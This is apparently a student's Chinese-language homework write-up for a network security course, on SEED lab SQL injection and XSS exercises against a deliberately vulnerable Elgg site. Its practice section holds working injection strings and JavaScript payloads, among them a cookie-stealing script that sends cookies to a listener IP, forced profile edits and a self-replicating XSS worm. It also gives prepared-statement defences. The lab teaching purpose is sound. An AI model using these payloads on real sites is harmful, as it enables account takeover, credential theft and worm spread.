20199107 2019-2020-2 《网络攻防实践》第11周作业
这个作业属于哪个课程 | 《网络攻防实践》 |
这个作业的要求在哪里 | 《网络攻防实践》第11次作业 |
我在这个课程的目标是 | 学习新知识、考试拿高分 |
这个作业在哪个具体方面帮助我实现目标 | 学习web攻防知识 |
作业正文 | 见下文 |
其他参考文献 | 见文末 |
1.实践内容
Web应用程序体系结构及其安全威胁
-
Web应用体系结构
B/S结构,浏览器作为“瘦”客户端完成数据显示与展示渲染功能,“胖”服务器完成主要完成业务计算处理,两者通过http/https协议通信
服务器由web服务器软件、web应用程序和后端数据库组成,并通过经典的三层架构(表示层、业务逻辑层、数据层)进行组织和构建
Web应用体系结构的关键组件:-
浏览器:用http/https协议、html语言和web服务器交互,功能多样但新功能也会引入新薄弱点
-
web服务器:作为http守护程序,接收客户端(浏览器)对资源的请求并交给web应用程序执行,将执行响应返回给客户端,同时还引入了对web动态编程语言的支持
-
web应用程序:现代web应用的核心,服务器端的业务逻辑处理,普遍应用三层体系结构:
-
表示层:接受Web客户端的输入并显示结果
-
业务逻辑层:从表示层接受输入并完成某些工作,可能需要数据层的协作,再将结果送回表示层
-
数据层:以数据库或本地文件的形式,提供非易失的信息存储
-
-
数据库:也被称为“后台”,web应用存储数据的地方
-
传输协议http/https:http即超文本传输协议,默认使用80端口,使用统一资源标识符(URI)对各种资源定义,并通过请求/响应在客户端和服务器之间传输资源
-
-
web应用安全威胁
威胁 | 例子 |
---|---|
针对浏览器和终端用户的web浏览安全威胁 | 网页木马、网站钓鱼等 |
针对传输层的网络协议安全威胁 | 针对http明文传输的敏感信息监听、假冒身份攻击、拒绝服务攻击等 |
系统层安全威胁 | 针对web站点的宿主操作系统的攻击,例如曾经学过的针对Windows、Linux的攻击 |
web服务器软件安全威胁 | 针对web服务器软件例如IIS、Apache等 |
web应用程序安全威胁 | SQL注入、XSS等 |
web数据安全威胁 | 针对web应用程序后台存储或客户输入数据的窃取、篡改等 |
web应用安全攻防技术概述
-
web应用的信息搜集:搜集域名、IP、虚拟IP、端口与开放服务及版本、安全漏洞等,技术手法包括:
-
手工审查Web应用程序结构与源代码:
-
静态和动态生成的页面:查看注释、命名规则,找是否隐含用户口令、SQL语句等敏感信息
-
目录结构:管理员目录、旧版本目录、备份目录等
-
辅助性文件:CSS级联样式表、XML样式表、JavaScript文件等
-
输入表单:提交数据的方法、表单处理行为、输入字段名称、长度限制、隐藏字段、完成标记等
-
查询参数字符串:数据表字段名称、会话标识符、用户名或口令字段等
-
-
自动下载与镜像web页面
-
Google hacking技术审查与探测web应用程序
-
web应用程序安全评估与漏洞审查,常用工具
-
面向web应用程序分析、调试和安全检查的浏览器插件
-
开源web应用安全评估工具集
-
商业web应用安全评估系统和漏洞扫描器
-
-
-
攻击web服务器软件,web服务器平台安全漏洞主要有以下几类:
-
数据驱动的远程代码执行安全漏洞:缓冲区溢出、不安全指针、格式化字符串等攻击
-
服务器功能扩展模块漏洞:针对功能扩展模块的漏洞进行攻击
-
样本文件安全漏洞:样本文件由于编写仓促或是功能新奇会带来新的漏洞
-
源代码泄露:能让人直接看到web服务器源代码的漏洞
-
资源解析攻击:攻击将同一资源的不同表示形式解析为它的标准化名称的过程
-
-
攻击web应用程序
-
针对认证机制的攻击
-
授权机制的攻击
-
客户端攻击
-
命令执行攻击
-
信息暴露
-
逻辑攻击
-
-
攻击web数据内容
-
安全敏感数据泄露
-
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置
-
利用上传目录的临时中转文件
-
在web站点公开的资料中包含个人隐私、企业秘密
-
-
网站篡改
-
不良信息内容上传
-
-
web应用安全防范措施
-
Web站点网络传输安全设防措施
-
尽量使用https
-
通过加密的连接通道(SSH、SFTP等)管理站点
-
对关键web服务器,设置静态MAC-IP映射
-
-
Web站点操作系统及服务安全设防措施
-
及时打补丁
-
及时扫描并修复漏洞
-
一般性措施:关闭不必要的端口、避免明文传输、使用强口令、配置防火墙、数据备份等
-
-
Web应用程序安全设防措施
-
谨慎考虑是否使用动态内容
-
使用声誉良好有稳定技术支持的软件包
-
只在必要时自主或外包开发web应用
-
使用日志
-
-
Web站点数据安全设防措施:提高网站维护人员的安全意识、做好日常监测和防护
-
SQL注入攻击
-
原理:用户输入没有被正确地过滤,以消除SQL语言中的
' " ; % # --
等,或没有进行严格的类型判断,使得用户可以执行非预期的SQL语句 -
步骤和过程:
-
(1)发现SQL注入点:找到某些用于生成SQL语句访问数据库的参数
-
(2)判断后台数据库类型:尝试构造SQL语句,利用各数据库系统变量或系统表的不同,判断服务器数据库类型(例如是MySql、ACCESS、MS SQL等)
-
(3)后台数据库管理员用户口令字猜解:猜测表名、猜测字段名、猜测用户名和口令
-
(4)上传ASP后门,得到默认账户权限:破解管理员用户名和口令后,找出后台管理界面并登陆,上传ASP后门
-
(5)本地权限提升
-
(6)利用数据库扩展存储过程执行shell命令:若当前数据库连接支持类似MS SQL Server中xp_cmdshell扩展存储过程,且有DBMS最高权限,则可以跳过(3)至(5)直接调用shell
-
-
防范措施:
-
使用类型安全(type-safe)的参数编码机制
-
凡是来自外部的用户输入,必须进行完备检查
-
将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
-
加强SQL数据库服务器的配置与连接
-
XSS跨站脚本攻击
全称为(Cross Site Scripting)因为首字母和层叠样式表CSS冲突了,所以叫XSS。
-
原理:与SQL不同,XSS跨站脚本攻击的目标不是Web应用程序而是使用Web应用程序的用户。因为最新的浏览器普遍支持各种脚本,攻击者利用web程序的安全漏洞,可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析并执行这些插入的代码
-
类型:根据所攻击的漏洞造成的影响分为两种
-
持久性XSS漏洞:可以让用户输入持久保持在web服务器端,让访问被攻击页面的用户受影响,常见于留言本、BBS、博客等
-
非持久性(反射)XSS漏洞:http请求或web表单提供的数据,立刻被用于生成一个返回给用户的结果页面,但缺乏正确过滤
-
-
防范措施:
-
服务器端
-
输入验证:验证输入是否过长,是否有非法字符等
-
输出净化:将用户输入提交到响应页面前,用
HTMLEncode()
等方法处理,将一些特殊字符作为页面内容而非结构 -
消除危险输入点:例如尽量避免在现有JavaScript中插入用户可控制的数据
-
-
客户端:提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读、使用非主流的安全浏览器
-
2.实践过程
SEED SQL注入实验
- 使用虚拟机为SEED Ubuntu 16.04
哪怕是故意做出来的简单靶子页面,要自己去猜也是很花时间的,所以直接分析
用命令mysql -u root -p
登录mysql的root用户,密码seedubuntu
show databases;
查看数据库,use Users;
使用Users数据库
show tables;
查看数据库中的表,只有一张表,select * from credential;
可查看表内容,用以验证之后的攻击是否成功
- 对SELECT语句进行sql注入攻击
web页面的攻击
打开火狐浏览器,进入www.SEEDLabSQLInjection.com
,尝试登录,使用F12
查看发现请求的页面为unsafe_home.php
接下来可以分析网页源代码,在/var/www/SQLInjection
可以找到该页面,用vim unsafe_home.php
查看该页面的源代码
从中可以发现用户的口令大概是用sha1保护的,连接数据库时的就直接是root了,
可以看到查询语句如图
可以构造sql语句,在用户名输入admin'#
,#
用于mysql的注释,此时,查询语句将查找表中用户名为admin的结果,即可以登录用户名为admin的账号,结果如图
命令行的攻击
要利用curl工具(利用URL规则在命令行下工作的文件传输工具),输入命令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
其中 '#
要转义,可以和前面一样的登陆admin,只是显示的是网页源代码
追加新的SQL语句
可以通过;
分结束前一个语句再加上后一个语句,但是因为MySql的对策会阻止php调用多个语句的执行所以不能成功
- 对UPDATE语句进行sql注入攻击
修改你的工资
把登录的账号从admin改成alice,因为要改“自己”的工资,在Edit Profile页可以修改个人信息,可知此处应该会有UPDATE语句,通过和前面一样的操作找到网页unsafe_edit_backend.php查看源代码
构造sql语句,在昵称输入',salary='66666' where name='Alice'; #
即可
修改其他人的工资
只要将后面的条件改了就可以改其他人的工资,在alice的页面就可以,例如在昵称输入',salary='233' where name='Boby'; #
修改其他人的口令
还是类似的操作,将salary字段改成password,同时根据上面的分析使用sha1计算摘要保护,在昵称输入', password=sha1('233') where name='Boby';#
,用echo -n '233'|sha1sum
计算摘要验证结果、
- 采用预处理语句作为防护措施
php会看不会写,参考班里的大佬的代码
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");//预处理语句,留两个占位符给用户名和密码
$sql->bind_param("ss", $input_uname, $hashed_pwd);//将两个占位符和变量input_uname,hashed_pwd绑定,类型限定为字符串
$sql->execute();
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$sql->fetch();
$sql->close();
使用预处理后,用户的输入将被视为一个字段值而不是sql语句处理,因此可以防止例如前面的注入攻击
此时再用前面的方法登录就不会成功了
但还可以正常地用账号Boby口令233登录
- 预防措施
用内建的安全插件HTMLawed禁止部分代码块的执行
或使用PHP的内建函数htmlspecialchars转义HTML代码中的一些符号
SEED XSS攻击实验
实验页面www.xsslabelgg.com/
,所在路径/var/www/XSS/Elgg/
使用账号:
username | password |
---|---|
Alice | seedalice |
Boby | seedboby |
- 恶意弹窗警告
在Edit profile页面将<script>alert('XSS');</script>
填入Brief description栏
保存,每次打开Alice的profile页都会弹窗
- 恶意弹窗显示Cookies
cookies是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据,弹窗仍然使用alert即可,可以通过<script> alert(document.cookie);</script>
实现
- 窃取他人的Cookies
在上一步中弹窗显示的cookies只有用户本人可以看到,如果是攻击者想窃取到其他人的Cookies,可以用<script>document.write('<img src=http://192.168.200.6:5555?c=' + escape(document.cookie) + ' >');</script>
保存后每当有人访问Alice的profile页,该代码就会让受害者尝试向192.168.200.6(本机IP)的5555端口请求图片,而受害者的cookies也被包含在这一请求当中
用nc工具监听端口nc -l 5555 -v
,-l也指定监听TCP连接,-v输出更详细的信息
- 成为受害者的好友
为了成功混入受害者的好友列表,首先了解一下添加好友具体会发送什么样的信息,因此再开一个浏览器登录一下Boby账号,随便写个blog,在切换回Alice,尝试通过这个blog添加Boby
添加前用F12
查看,观查发送的请求,发现请求的方式为POST,其中有三个参数friend、__elgg_ts、__elgg_token
friend是要添加为好友的id
根据请求构造XSS攻击脚本,然而并不会js,使得访问Boby的profile页的人自动加其为好友,因为其他地方输入长度限制,在About me处编辑,但要用edit HTML模式防止字符转义
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
为了试验,先解除Alice和Boby的好友关系,再用Alice访问Boby的profile页
虽然看到我加我自己这种操作,基本可以确定脚本生效了,但还是用Alice验证一下
- 修改受害者信息
和上一个类似,查看修改信息时发送的请求,构造攻击脚本,同样参考大佬的代码
修改Alice的About me,除了Alice本人,访问Alice的profile的人将遭到攻击
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Boby访问后攻击效果如图
- XSS蠕虫攻击
前面已经实现了修改他人About me功能,现在只要该代码将自身复制到别人到的About me就是一个蠕虫了,还是要继续参考大佬的代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Boby访问Alice的profile页后,Boby的About me也被蠕虫感染了
3.学习中遇到的问题及解决
- 问题1:既不会php,也不会js
- 问题1解决方案:参考大佬的博客,百度
- 问题2:一直找不到怎么加好友,换账号又会马上同步登陆状态
- 问题2解决方案:最后终于发现要通过留一个blog加好友
4.实践总结
sql语句还好,以前学过数据库,算是比较熟悉。php和js都是基本不会,看看还行,写web页面是完全不会,只能参考大佬的博客一边看一边百度了